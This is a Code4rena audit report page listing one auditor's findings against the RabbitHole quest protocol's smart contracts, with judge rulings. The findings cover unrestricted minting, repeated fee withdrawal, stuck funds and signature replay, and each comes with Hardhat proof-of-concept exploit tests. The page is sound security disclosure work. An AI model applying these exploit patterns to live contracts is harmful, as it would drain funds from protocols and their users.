Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 173
Period: 5 days
Judge: kirk-baird
Total Solo HM: 1
Id: 208
League: ETH
Rank: 25/173
Findings: 6
Award: $174.85
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0xMAKEOUTHILL, 0xMirce, 7siech, AkshaySrivastav, AlexCzm, Awesome, Aymen0909, Cryptor, Deivitto, DimitarDimitrov, ElKu, Garrett, Jayus, Josiah, Kenshin, KrisApostolov, RaymondFam, SovaSlava, Timenov, UdarTeam, amaechieth, btk, c3phas, codeislight, fellows, frankudoags, gzeon, hansfriese, luxartvinsec, millersplanet, mookimgo, navinavu, oberon, paspe, pavankv, petersspetrov, pfapostol, prestoncodes, rbserver, sakshamguruji, shark, thekmj, trustindistrust, tsvetanovv, usmannk, vagrant, vanko1, xAriextz, yosuke
2.5852 USDC - $2.59
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50
The RabbitHoleTickets
and RabbitHoleReceipt
contracts contain an onlyMinter
modifier which intends to restrict the access to token minting functions to privileged accounts only.
However the implementation of the onlyMinter
modifier is incorrect.
modifier onlyMinter() { msg.sender == minterAddress; _; }
The modifier does not revert the transaction when the required condition is falsy
. As a result any account can mint any amount of tokens to any ethereum account.
As RabbitHoleTickets
and RabbitHoleReceipt
are valuable tokens to the protocol, unrestrictive minting of these tokens can cause severe financial loss to the protocol and its users. The RabbitHoleReceipt
tokens can be used to drain rewards from Quest
contracts.
The below mentioned test cases were added to ./test/RabbitHoleReceipt.spec.ts
file and ran using npx hardhat test ./test/RabbitHoleReceipt.spec.ts
command.
describe.only('RabbitHoleReceipt Bug', () => { it('any account can mint tokens', async () => { const randomUser = (await ethers.getSigners())[10]; const questId = 'abc'; // Initial balance is 0 expect(await RHReceipt.balanceOf(randomUser.address)).to.equal(0) // Mint via randomUser await RHReceipt.mint(randomUser.address, questId) // Tokens minted expect(await RHReceipt.balanceOf(randomUser.address)).to.equal(1) }) })
The below mentioned test cases were added to ./test/RabbitHoleTickets.spec.ts
file and ran using npx hardhat test ./test/RabbitHoleTickets.spec.ts
command.
describe.only('RabbitholeTickets Bug', () => { it('any account can mint tokens', async () => { const randomUser = (await ethers.getSigners())[10]; const tokenId = 100; // Initial balance is 0 expect(await RHTickets.balanceOf(randomUser.address, tokenId)).to.equal(0) // Mint via randomUser await RHTickets.mint(randomUser.address, tokenId, 10, '0x00') // Tokens minted expect(await RHTickets.balanceOf(randomUser.address, tokenId)).to.equal(10) }) })
Hardhat
Consider reverting on falsy result for the condition in the onlyMinter
modifiers.
modifier onlyMinter() { require(msg.sender == minterAddress, "not minter"); _; }
#0 - c4-judge
2023-02-05T02:52:19Z
kirk-baird marked the issue as duplicate of #9
#1 - c4-judge
2023-02-16T07:22:01Z
kirk-baird marked the issue as satisfactory
🌟 Selected for report: adriro
Also found by: 0xRobocop, 0xmrhoodie, 0xngndev, AkshaySrivastav, ArmedGoose, Atarpara, Bauer, CodingNameKiki, ElKu, Garrett, HollaDieWaldfee, IllIllI, Iurii3, KIntern_NA, KmanOfficial, Lotus, M4TZ1P, MiniGlome, Ruhum, SovaSlava, bin2chen, bytes032, carrotsmuggler, cccz, chaduke, codeislight, cryptonue, doublesharp, evan, fs0c, glcanvas, gzeon, hansfriese, hihen, hl_, holme, horsefacts, ladboy233, lukris02, mahdikarimi, manikantanynala97, martin, mert_eren, mrpathfindr, omis, peakbolt, peanuts, prestoncodes, rbserver, rvierdiiev, sashik_eth, timongty, tnevler, trustindistrust, usmannk, wait, yixxas, zadaru13, zaskoh
0.7512 USDC - $0.75
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102
In Erc20Quest
contract the withdrawFee
function is used to pull out protocol fee from the contract. The docs and developer comments of the contract states that any user with unclaimed rewards should always be able to claim the rewards anytime in the future and owner must never forcefully withdraw user's claim.
/// @notice Function that allows the owner to withdraw the remaining tokens in the contract /// @dev Every receipt minted should still be able to claim rewards (and cannot be withdrawn). This function can only be called after the quest end time /// @param to_ The address to send the remaining tokens to function withdrawRemainingTokens(address to_) public override onlyOwner { super.withdrawRemainingTokens(to_); uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId; uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens; IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens); } // ... /// @notice Sends the protocol fee to the protocolFeeRecipient /// @dev Only callable when the quest is ended function withdrawFee() public onlyAdminWithdrawAfterEnd { IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee()); }
However, as per the current implementation of these withdrawFee
function, it can be invoked multiple times by the owner
. Hence resulting in owner
pulling out more funds than he should be allowed to pull.
The owner
is able to claim more funds than he is allowed to. Resulting in the loss for users who still have some pending unclaimed rewards in the Quest contract. The implementation also deviates from its specs as this issue prevent users from claiming their legitimate rewards.
A new test file was created and ran using npx hardhat test path-to-file
.
import { expect } from 'chai' import { ethers, upgrades } from 'hardhat' const AddressZero = ethers.constants.AddressZero; describe('Quest Bug', () => { it('loss of funds due to repeated withdrawFee() invokation', async () => { // Minimal Setup const [owner, user,] = await ethers.getSigners(); const questA = 'questA' const expiryDate = Math.floor(Date.now() / 1000) + 100000 const startDate = Math.floor(Date.now() / 1000) + 1000 const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [ AddressZero, owner.address, AddressZero, 0 ])) const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [ owner.address, RabbitHoleReceipt.address, owner.address ])) const SampleERC20 = await (await ethers.getContractFactory('SampleERC20')).deploy("", "", 240, owner.address) await QuestFactory.setRewardAllowlistAddress(SampleERC20.address, true); // New Quest const createQuestTx = await QuestFactory.createQuest( SampleERC20.address, expiryDate, startDate, 2, // max participant 100, // reward amount 'erc20', questA ); const waitedTx = await createQuestTx.wait(); const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated'); const [, contractAddress] = event.args; const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress); // transferring required token to Quest contract await SampleERC20.transfer(QuestContract.address, 240) expect(await SampleERC20.balanceOf(QuestContract.address)).to.eq(240); await QuestContract.start(); await ethers.provider.send('evm_increaseTime', [startDate]) // Get RabbitHoleReceipt token const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA]) const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1)) await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1) expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1) // User didn't come to claim the rewards expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(240) // balance of Quest = 240 tokens await ethers.provider.send('evm_increaseTime', [expiryDate]) // withdraw protocol fee await QuestContract.withdrawFee(); // 20 tokens were transferred to owner expect(await SampleERC20.balanceOf(owner.address)).to.equal(20) expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(220) for (let i = 0; i < 11; i++) { await QuestContract.withdrawFee(); // 20 tokens were transferred to owner on each invocation } // The contract gets drained expect(await SampleERC20.balanceOf(owner.address)).to.equal(240) expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(0) await ethers.provider.send('evm_increaseTime', [-startDate]) await ethers.provider.send('evm_increaseTime', [-expiryDate]) }) })
Hardhat
The owner
should not be allowed to call withdrawFee()
repeatedly. The fee collection can be made automatic by transferring the fee on every user claim.
#0 - c4-judge
2023-02-05T03:26:37Z
kirk-baird marked the issue as duplicate of #23
#1 - c4-judge
2023-02-14T09:00:25Z
kirk-baird marked the issue as satisfactory
🌟 Selected for report: RaymondFam
Also found by: 0xMirce, AkshaySrivastav, AlexCzm, Aymen0909, BClabs, CodingNameKiki, ElKu, HollaDieWaldfee, Josiah, KIntern_NA, MiniGlome, StErMi, adriro, bin2chen, cccz, chaduke, csanuragjain, gzeon, hihen, holme, libratus, minhquanym, omis, peakbolt, peanuts, rbserver, rvierdiiev, timongty, ubermensch, usmannk, wait, zaskoh
7.046 USDC - $7.05
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81-L87 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54-L63
The Erc20Quest
and Erc1155Quest
contracts both inherit a common Quest
contract. However the mechanism to handle unclaimed rewards is totally different in both the contracts.
Erc20Quest
function withdrawRemainingTokens(address to_) public override onlyOwner { super.withdrawRemainingTokens(to_); uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId; uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens; IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens); }
Erc1155Quest
function withdrawRemainingTokens(address to_) public override onlyOwner { super.withdrawRemainingTokens(to_); IERC1155(rewardToken).safeTransferFrom( address(this), to_, rewardAmountInWeiOrTokenId, IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId), '0x00' ); }
In Erc20Quest the unclaimed rewards of users are intended to stay in the contract so that the users can claim them anytime in the future. While in Erc1155Quest the owner
can pull out all unclaimed rewards as soon as the Quest ends.
This raises two major concerns:
In lack of sufficient documentation both the two scenarios cannot be considered as intentional and should be treated as unintended results.
Test cases were added to a new test file and ran using npx hardhat test path-to-file
.
import { expect } from 'chai' import { ethers, upgrades } from 'hardhat' const AddressZero = ethers.constants.AddressZero; describe('Quest Bug', () => { it('Erc20Quest: User can claim unclaimed rewards in future', async () => { // Minimal Setup const [owner, user,] = await ethers.getSigners(); const questA = 'questA' const expiryDate = Math.floor(Date.now() / 1000) + 100000 const startDate = Math.floor(Date.now() / 1000) + 1000 const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [ AddressZero, owner.address, AddressZero, 0 ])) const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [ owner.address, RabbitHoleReceipt.address, owner.address ])) const SampleERC20 = await (await ethers.getContractFactory('SampleERC20')).deploy("", "", 240, owner.address) await QuestFactory.setRewardAllowlistAddress(SampleERC20.address, true); // New Quest const createQuestTx = await QuestFactory.createQuest( SampleERC20.address, expiryDate, startDate, 2, // max participant 100, // reward amount 'erc20', questA ); const waitedTx = await createQuestTx.wait(); const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated'); const [, contractAddress] = event.args; const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress); // transferring required token to Quest contract await SampleERC20.transfer(QuestContract.address, 240) expect(await SampleERC20.balanceOf(QuestContract.address)).to.eq(240); await QuestContract.start(); await ethers.provider.send('evm_increaseTime', [startDate]) // Get RabbitHoleReceipt token const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA]) const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1)) await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1) expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1) // User didn't come to claim the rewards expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(240) // balance of Quest = 240 tokens await ethers.provider.send('evm_increaseTime', [expiryDate]) // Owner withdraws the extra tokens await QuestContract.withdrawRemainingTokens(owner.address); // 120 tokens were transferred to owner expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(120) // Owner withdraws protocol fee await QuestContract.withdrawFee(); // 20 tokens were transferred to owner expect(await SampleERC20.balanceOf(owner.address)).to.equal(140) expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(100) // User comes and claims pending unclaimed rewards successfully expect(await SampleERC20.balanceOf(user.address)).to.equal(0) // balance of user = 0 tokens await QuestContract.connect(user).claim(); expect(await SampleERC20.balanceOf(user.address)).to.equal(100) // balance of user = 100 tokens expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(0) // balance of Quest = 0 tokens await ethers.provider.send('evm_increaseTime', [-startDate]) await ethers.provider.send('evm_increaseTime', [-expiryDate]) }) it('Erc1155Quest: User cannot claim unclaimed rewards as owner pulled out all rewards', async () => { // Minimal Setup const [owner, user,] = await ethers.getSigners(); const questA = 'questA' const erc1155Id = 1 const expiryDate = Math.floor(Date.now() / 1000) + 100000 const startDate = Math.floor(Date.now() / 1000) + 1000 const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [ AddressZero, owner.address, AddressZero, 0 ])) const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [ owner.address, RabbitHoleReceipt.address, owner.address ])) const SampleERC1155 = await (await ethers.getContractFactory('SampleErc1155')).deploy() // New Quest const createQuestTx = await QuestFactory.createQuest( SampleERC1155.address, expiryDate, startDate, 2, // max participant erc1155Id, // tokenId 'erc1155', questA ); const waitedTx = await createQuestTx.wait(); const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated'); const [, contractAddress] = event.args; const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress); // transferring required tokens to Quest contract await SampleERC1155.safeTransferFrom(owner.address, QuestContract.address, erc1155Id, 2, '0x') expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.eq(2); await QuestContract.start(); await ethers.provider.send('evm_increaseTime', [startDate]) // Get RabbitHoleReceipt token const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA]) const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1)) await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1) expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1) // User didn't come to claim the rewards expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.eq(2); // balance of Quest = 2 tokens await ethers.provider.send('evm_increaseTime', [expiryDate]) // Owner withdraws the extra tokens await QuestContract.withdrawRemainingTokens(owner.address); // All tokens were transferred to owner expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.equal(0) // User comes and tries to claim pending unclaimed rewards expect(await SampleERC1155.balanceOf(user.address, erc1155Id)).to.equal(0) // balance of user = 0 tokens await expect(QuestContract.connect(user).claim()).to.be .revertedWith('ERC1155: insufficient balance for transfer'); expect(await SampleERC1155.balanceOf(user.address, erc1155Id)).to.equal(0) // balance of user = 0 tokens expect(await SampleERC1155.balanceOf(QuestContract.address, erc1155Id)).to.equal(0) // balance of Quest = 0 tokens await ethers.provider.send('evm_increaseTime', [-startDate]) await ethers.provider.send('evm_increaseTime', [-expiryDate]) }) })
Hardhat
The logic for handling unclaimed rewards should be revisited and be made consistent in both the Erc20Quest
and Erc1155Quest
contracts. Also owner should not be allowed to pull out unclaimed user rewards in Erc1155Quest
contract.
#0 - c4-judge
2023-02-05T03:49:17Z
kirk-baird changed the severity to QA (Quality Assurance)
#1 - c4-sponsor
2023-02-08T04:29:37Z
jonathandiep marked the issue as sponsor disputed
#2 - jonathandiep
2023-02-08T04:30:09Z
Unclaimed rewards differ between erc20 and erc1155 due to the erc20 having a fee associated per claim
#3 - c4-judge
2023-02-16T07:16:13Z
This previously downgraded issue has been upgraded by kirk-baird
#4 - c4-judge
2023-02-16T07:16:13Z
This previously downgraded issue has been upgraded by kirk-baird
#5 - c4-judge
2023-02-16T07:16:52Z
kirk-baird marked the issue as duplicate of #528
#6 - c4-judge
2023-02-16T07:17:08Z
kirk-baird marked the issue as satisfactory
#7 - c4-judge
2023-02-20T09:11:44Z
kirk-baird changed the severity to 3 (High Risk)
#8 - c4-judge
2023-02-23T23:49:22Z
kirk-baird changed the severity to 2 (Med Risk)
🌟 Selected for report: carrotsmuggler
Also found by: AkshaySrivastav, ElKu, HollaDieWaldfee, Iurii3, KmanOfficial, adriro, bin2chen, evan, hansfriese, hl_, mert_eren, omis, peanuts
122.948 USDC - $122.95
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81
The Erc20Quest
contract has two functions by which owner
should legitimately pull out funds from the contract.
withdrawRemainingTokens
- to pull out any excess funds exlcuding protocol fee and unclaimed rewards.withdrawFee
- to pull out the protocol feefunction withdrawRemainingTokens(address to_) public override onlyOwner { super.withdrawRemainingTokens(to_); uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId; uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens; IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens); }
The withdrawRemainingTokens
function calculates the output tokens by substracting the protocol fee and unclaimed tokens from the current token balance of the contract. This calculation works fine if the withdrawRemainingTokens
function is invoked before the withdrawFee
function.
However, if the withdrawFee
function is invoked before the withdrawRemainingTokens
function, the output amount is calculated incorrectly. As the the withdrawRemainingTokens
function always substract the protocolFee()
value (even when the protocol fee is already claimed) the output amount comes out to be less than the correct amount.
If the withdrawFee
function is invoked before the withdrawRemainingTokens
function, then the token output amount becomes less than the correct amount and the difference between those amounts gets stuck in the contract forever (assuming both functions can be invoked only once).
A new test file was created and was ran using npx hardhat test path-to-file
.
import { expect } from 'chai' import { ethers, upgrades } from 'hardhat' const AddressZero = ethers.constants.AddressZero; describe('Quest Bug', () => { it('loss of funds if protocol fee is withdrawn first', async () => { // Minimal Setup const [owner, user,] = await ethers.getSigners(); const questA = 'questA' const expiryDate = Math.floor(Date.now() / 1000) + 100000 const startDate = Math.floor(Date.now() / 1000) + 1000 const RabbitHoleReceipt = (await upgrades.deployProxy((await ethers.getContractFactory('RabbitHoleReceipt')), [ AddressZero, owner.address, AddressZero, 0 ])) const QuestFactory = (await upgrades.deployProxy((await ethers.getContractFactory('QuestFactory')), [ owner.address, RabbitHoleReceipt.address, owner.address ])) const SampleERC20 = await (await ethers.getContractFactory('SampleERC20')).deploy("", "", 240, owner.address) await QuestFactory.setRewardAllowlistAddress(SampleERC20.address, true); // New Quest const createQuestTx = await QuestFactory.createQuest( SampleERC20.address, expiryDate, startDate, 2, // max participant 100, // reward amount 'erc20', questA ); const waitedTx = await createQuestTx.wait(); const event = waitedTx?.events?.find((event: any) => event.event === 'QuestCreated'); const [, contractAddress] = event.args; const QuestContract = await ethers.getContractAt('Erc20Quest', contractAddress); // transferring required token to Quest contract await SampleERC20.transfer(QuestContract.address, 240) expect(await SampleERC20.balanceOf(QuestContract.address)).to.eq(240); await QuestContract.start(); await ethers.provider.send('evm_increaseTime', [startDate]) // Get RabbitHoleReceipt token const messageHash1 = ethers.utils.solidityKeccak256(['address', 'string'], [user.address.toLowerCase(), questA]) const signature1 = await owner.signMessage(ethers.utils.arrayify(messageHash1)) await QuestFactory.connect(user).mintReceipt(questA, messageHash1, signature1) expect(await RabbitHoleReceipt.balanceOf(user.address)).to.equal(1) // 1 out of 2 user claims await QuestContract.connect(user).claim(); expect(await SampleERC20.balanceOf(user.address)).to.equal(100) // 100 tokens were transferred to user expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(140) // balance of Quest = 240 - 100 = 140 tokens // withdraw protocol fee await QuestContract.withdrawFee(); // 20 tokens were transferred to owner expect(await SampleERC20.balanceOf(owner.address)).to.equal(20) expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(120) // withdraw remaining tokens await QuestContract.withdrawRemainingTokens(owner.address); // 100 tokens were transferred to owner expect(await SampleERC20.balanceOf(owner.address)).to.equal(120) expect(await SampleERC20.balanceOf(QuestContract.address)).to.equal(20) // 20 tokens are still present in Quest }) })
Hardhat
The contract should validate that remaining tokens must be distributed before distributing the protocol fee.
#0 - c4-judge
2023-02-05T03:03:19Z
kirk-baird marked the issue as duplicate of #42
#1 - c4-judge
2023-02-06T08:18:30Z
kirk-baird marked the issue as not a duplicate
#2 - c4-judge
2023-02-06T08:19:10Z
kirk-baird marked the issue as duplicate of #61
#3 - c4-judge
2023-02-14T10:03:07Z
kirk-baird marked the issue as satisfactory
#4 - c4-judge
2023-02-23T23:48:11Z
kirk-baird changed the severity to 2 (Med Risk)
🌟 Selected for report: AkshaySrivastav
Also found by: KIntern_NA, SovaSlava, Tointer, Tricko, V_B, __141345__, betweenETHlines, bin2chen, cccz, critical-or-high, glcanvas, halden, hihen, jesusrod15, ladboy233, libratus, m9800, minhquanym, omis, peakbolt, rbserver, romand, rvierdiiev, wait, zaskoh
24.3069 USDC - $24.31
The QuestFactory.mintReceipt
function mints RabbitHoleReceipt
tokens based upon signatures signed by claimSignerAddress
.
function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public { if (quests[questId_].numberMinted + 1 > quests[questId_].totalParticipants) revert OverMaxAllowedToMint(); if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted(); if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash(); if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned(); quests[questId_].addressMinted[msg.sender] = true; quests[questId_].numberMinted++; emit ReceiptMinted(msg.sender, questId_); rabbitholeReceiptContract.mint(msg.sender, questId_); }
In the above function only the account's address and quest id values are used to generate and validate the signature.
This causes various issues which are mentioned below:
There is no deadline for the signatures. Once a signature is signed by claimSignerAddress
that signature can be provided to QuestFactory.mintReceipt
function to mint an RabbitholeReceipt token at any point in the future.
The signature can be replayed on other EVM compatible chains on which RabbitHole protocol is deployed. The docs mention other EVM chain addresses of the contracts which means the protocol will be deployed on multiple chains.
The signature can be replayed on multiple instances of QuestFactory contract. If multiple QuestFactory contracts are deployed on a single EVM chain then signature intended for one contract can be replayed on the other ones.
Note that all these scenarios are true when questId_
parameter stays same.
Exploitation using the above mentioned scenarios will lead to unintended minting of RabbitholeReceipt token. This is a crucial token for the protocol which is also used to claim rewards from Quest contracts. Hence any unintentional minting will cause loss of funds.
The test cases were added in ./test/QuestFactory.spec.ts
file and ran using command npx hardhat test ./test/QuestFactory.spec.ts
.
describe.only('QuestFactory: Signature Replay Bug', () => { it('Signature can be used in different QuestFactory instance or on different chain', async () => { const randomUser = (await ethers.getSigners())[10]; const questA = "A"; // Sign message and create new Quest const messageHash = utils.solidityKeccak256(['address', 'string'], [randomUser.address.toLowerCase(), questA]) const signature = await wallet.signMessage(utils.arrayify(messageHash)) await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true) await deployedFactoryContract.createQuest( deployedSampleErc20Contract.address, expiryDate, startDate, totalRewards, rewardAmount, 'erc20', questA ) // Use the signature on First QuestFactory await deployedFactoryContract.connect(randomUser).mintReceipt(questA, messageHash, signature) expect(await deployedRabbitHoleReceiptContract.balanceOf(randomUser.address)).to.equal(1) const factoryPrevious = deployedFactoryContract const RHRPrevious = deployedRabbitHoleReceiptContract // Deploy a new QuestFactory (this could be on a different chain) await deployRabbitHoleReceiptContract() await deployFactoryContract() expect(factoryPrevious.address).to.not.eq(deployedFactoryContract.address) // Verify we have new instance expect(RHRPrevious.address).to.not.eq(deployedRabbitHoleReceiptContract.address) // Create new Quest in new QuestFactory await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true) await deployedFactoryContract.createQuest( deployedSampleErc20Contract.address, expiryDate, startDate, totalRewards, rewardAmount, 'erc20', questA ) // Use the previously used signature again on new QuestFactory await deployedFactoryContract.connect(randomUser).mintReceipt(questA, messageHash, signature) expect(await deployedRabbitHoleReceiptContract.balanceOf(randomUser.address)).to.equal(1) expect(await RHRPrevious.balanceOf(randomUser.address)).to.equal(1) }) it('Signature can be used after 1 year', async () => { const randomUser = (await ethers.getSigners())[10]; const questA = "A"; // Sign message and create new Quest const messageHash = utils.solidityKeccak256(['address', 'string'], [randomUser.address.toLowerCase(), questA]) const signature = await wallet.signMessage(utils.arrayify(messageHash)) await deployedFactoryContract.setRewardAllowlistAddress(deployedSampleErc20Contract.address, true) await deployedFactoryContract.createQuest( deployedSampleErc20Contract.address, expiryDate, startDate, totalRewards, rewardAmount, 'erc20', questA ) // Move ahead 1 year await ethers.provider.send("evm_mine", [expiryDate + 31536000]) // Use the signature await deployedFactoryContract.connect(randomUser).mintReceipt(questA, messageHash, signature) expect(await deployedRabbitHoleReceiptContract.balanceOf(randomUser.address)).to.equal(1) }) })
Hardhat
Consider including deadline, chainid and QuestFactory's address in the signature message. Ideally signatures should be created according to the EIP712 standard.
#0 - c4-judge
2023-02-05T02:52:56Z
kirk-baird marked the issue as duplicate of #45
#1 - c4-judge
2023-02-14T09:36:08Z
kirk-baird changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-02-14T09:38:36Z
kirk-baird marked the issue as selected for report
#3 - c4-judge
2023-02-14T09:38:55Z
kirk-baird marked the issue as satisfactory
#4 - m9800
2023-02-22T22:55:30Z
I don't see why this issue is being downgraded to medium. Normally, signature replay attacks that lead to a loss of funds are considered high. The warden described a scenario that could result in a loss of funds. I don't think having the same questId is a hand-wavy hypothetical that would justify considering this issue as a medium.
#5 - kirk-baird
2023-02-22T23:38:49Z
I'm going to transfer the discussion to #45 which is where the other comments were added before the primary issue was changed.
🌟 Selected for report: CodingNameKiki
Also found by: 0x1f8b, 0x4non, 0x5rings, 0xAgro, 0xMirce, 0xRobocop, 0xSmartContract, 0xackermann, AkshaySrivastav, ArmedGoose, Aymen0909, BClabs, Breeje, Dewaxindo, Diana, HollaDieWaldfee, IceBear, IllIllI, Iurii3, Josiah, Krayt, PaludoX0, Phenomana, PrasadLak, RaymondFam, Rolezn, SaeedAlipoor01988, SaharDevep, SleepingBugs, adriro, arialblack14, bin2chen, brevis, btk, carlitox477, carrotsmuggler, catellatech, chaduke, chrisdior4, cryptonue, cryptostellar5, csanuragjain, ddimitrov22, fellows, glcanvas, halden, hl_, horsefacts, jat, joestakey, kenta, libratus, lukris02, luxartvinsec, manikantanynala97, martin, matrix_0wl, nadin, nicobevi, oberon, peanuts, prestoncodes, rbserver, sakshamguruji, sashik_eth, sayan, seeu, thekmj, tnevler, trustindistrust, tsvetanovv, xAriextz, zadaru13, zaskoh
17.196 USDC - $17.20
_disableInitializers
and some use initializer
. These different uses have different outputs.
While initializer
modifier sets the _initialized
variable to 1
, the _disableInitializers
sets _initialized
to type(uint8).max
. A single way of disabling implementation contracts must be used for all contracts to maintain consistensy.RabbitHoleTickets.setTicketRenderer
and setRoyaltyRecipient
should emit events.
function setTicketRenderer(address ticketRenderer_) public onlyOwner { TicketRendererContract = TicketRenderer(ticketRenderer_); } function setRoyaltyRecipient(address royaltyRecipient_) public onlyOwner { royaltyRecipient = royaltyRecipient_; }
Can be changed tofunction royaltyInfo( uint256 tokenId_, uint256 salePrice_ ) external view override returns (address receiver, uint256 royaltyAmount) { // ... }
function royaltyInfo( uint256, uint256 salePrice_ ) external view override returns (address receiver, uint256 royaltyAmount) { // ... }
Quest.claim
the updation of redeemedTokens
breaks CEI pattern.
function claim() public virtual onlyQuestActive { // ... uint256 totalRedeemableRewards = _calculateRewards(redeemableTokenCount); _setClaimed(tokens); _transferRewards(totalRedeemableRewards); redeemedTokens += redeemableTokenCount; // breaking CEI - state updated after external call // ... }
abstract contract Quest ... { function _calculateRewards(uint256 redeemableTokenCount_) internal virtual returns (uint256); function _transferRewards(uint256 amount_) internal virtual; }
#0 - c4-judge
2023-02-05T03:49:41Z
kirk-baird marked the issue as grade-c
#1 - c4-judge
2023-02-16T07:20:42Z
kirk-baird marked the issue as grade-b
#2 - kirk-baird
2023-02-16T07:21:47Z
Upgrading to grade-b due to other issues